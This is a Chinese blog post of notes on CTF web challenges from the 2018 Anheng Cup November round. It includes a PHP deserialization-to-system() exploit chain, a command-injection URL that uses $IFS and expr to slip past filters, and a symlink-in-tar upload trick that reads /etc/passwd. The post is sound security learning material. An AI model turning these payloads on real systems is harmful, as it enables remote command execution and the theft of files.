2018安恒杯11月赛知识笔记

首先肯定要附上大佬的WP了来供大家学习参考的,感觉学到了好多东西。

https://www.anquanke.com/post/id/166492

http://shaobaobaoer.cn/archives/701/anheng-11yue-wp-unfinish

emmmm,开始笔记之路,首先是ezsql这道题,看题目就感觉是sql注入,一叶知秋大佬用了if来测试是否存在注入,并且发现可以通过load_file来读取文件,这里应该是要写个脚本慢慢的读出源码的,第二个大佬的博客里有脚本供查看。分析源码得知,这应该是一个php序列化漏洞.(主要是讲学到的知识点,所以比较粗略)

ezsql

 

index.php

<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
    $config = $_COOKIE['CONFIG'];
    require_once('config/config.php');
}
?>

config.php

<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
    $p=$_GET['p'];
    $config->$p;
}
class Config{
    private $config;
    private $path;
    public $filter;
    public function __construct($config=""){
        $this->config = $config;
        echo 123;
    }
    public function getConfig(){
        if($this->config == ""){
            $config = isset($_POST['config'])?$_POST['config']:"";
        }
    }
    public function SetFilter($value){
//        echo $value;
    $value=waf_exec($value); 
        var_dump($value);
    if($this->filter){
            foreach($this->filter as $filter){
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
            }
            $this->filter = array();
        }else{
            return false;
        }
        return true;
    }
    public function __get($key){
        //var_dump($key);
    $this->SetFilter($key);
        die("");
    }
}

注意到一些函数,比如说_get()魔术方法,新建对象后,如果访问的是不存在的属性的话,可以执行_get函数下面的命令

另外注意到call_user_func()函数,这是一个回调函数(来自手册:第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。)

也就是说如果可以的话,可以利用这个回调函数执行system('ls')等各种命令。呢么来看下可控参数把,分析下

<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
    $p=$_GET['p'];
    $config->$p;
}
$value=waf_exec($value); 
        var_dump($value);
    if($this->filter){
            foreach($this->filter as $filter){
                $array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
 public function __get($key){
        //var_dump($key);
    $this->SetFilter($key);
        die("");
    }

序列化一下
$sky = new Config();
$sky->filter = array('system');
echo base64_encode(serialize($sky));
然后传入cookie的config

也就是说可以利用传入的config来反序列化,修改filter属性为arrary('system'),而且在反序列化后,$config->$p,调用了一个不存在的属性,就会执行_get()函数,把参数p传入的东西作为value,放入回调函数里,呢么就执行了system('ls')这样的命令呢么列出了目录,大佬测试了下,发现/和空格都被过滤了。 //_call魔术方法,在调用不存在的类方法是被调用这里呢,又到了linux的知识点了,$IFS可以表示为空格,pwd是当前位置的绝对路径,expr可以抓取字符,expr语法中反斜杠\放在shell特定的字符前.具体的payload如下http://101.71.29.5:10015/index.php?p=cat$IFSflag2333expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1flag.php呢么来具体解释下把,执行的结果是 cat/flag2333/flag.php,怎么做到的呢,结果我上面分析的,substr $(pwd) 1 1的意思是,从绝对路径的第一位取一个字符,呢么绝对路径的第一个字符一定是/,所以绕过了对/的过滤,很神奇

而一叶知秋大佬是用grep命令来实现过滤的,是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印

 

补充:对于$config->$p这步可能有人不理解,我的理解是把一个对象传入了$conifg,所以$config->$p可以理解为,Config类调用$p属性,因为__get,所以就算调用不存在的属性,也会触发__get函数

https://www.cnblogs.com/wfzWebSecuity/p/10039161.html

 

 

 

 

 interesting web
 因为是flask框架,所以session是再cookie里,而且是json web token,所以可以base64解码的把头部解码,可以看到token。
比如说这串session
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJaREk1TTJRMk9XSTBPV1U0WWpNM01EUTFOMk0wWXpjNVpUTTJOek0yTkRVPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DtqVZA.sKvz6PyWEuNzg_FZrRI3RKzoWzk
jst分为三个部分,第一部分我们称它为头部(header)第二部分我们称其为载荷(payload,类似于飞机上承载的物品),第三部分是签证(signature),第一部分可以base64解码

然后再把token里的再base64解码一次就能得到token了,然后这里用到了软连接(linux知识点),好神奇,第一次听说(CTF这东西,得有好多好多人生中的第一次,尴尬ing)

这是linux中一个非常重要命令,请大家一定要熟悉。它的功能是为某一个文件在另外一个位置建立一个同不的链接,这个命令最常用的参数是-s,
具体用法是:ln -s 源文件 目标文件。
当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的 目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间

打开1.tar,并且提取222.jpg,改为222.txt,打开后,确实屎原来flag.txt里的内容,真神奇,自己试一下才印象深刻,哈哈。WEB真有意思。加油好吧。

 

 (来自一叶知秋大佬文章,上面的blog里面)

ln -s /etc/passwd 222222.jpg
tar cvfp 1.tar 222222.jpg

上传1.tar,即可得到flag

 

 

 

 

 


 





posted @ 2019-05-29 17:52  yunying  阅读(482)  评论(0编辑  收藏  举报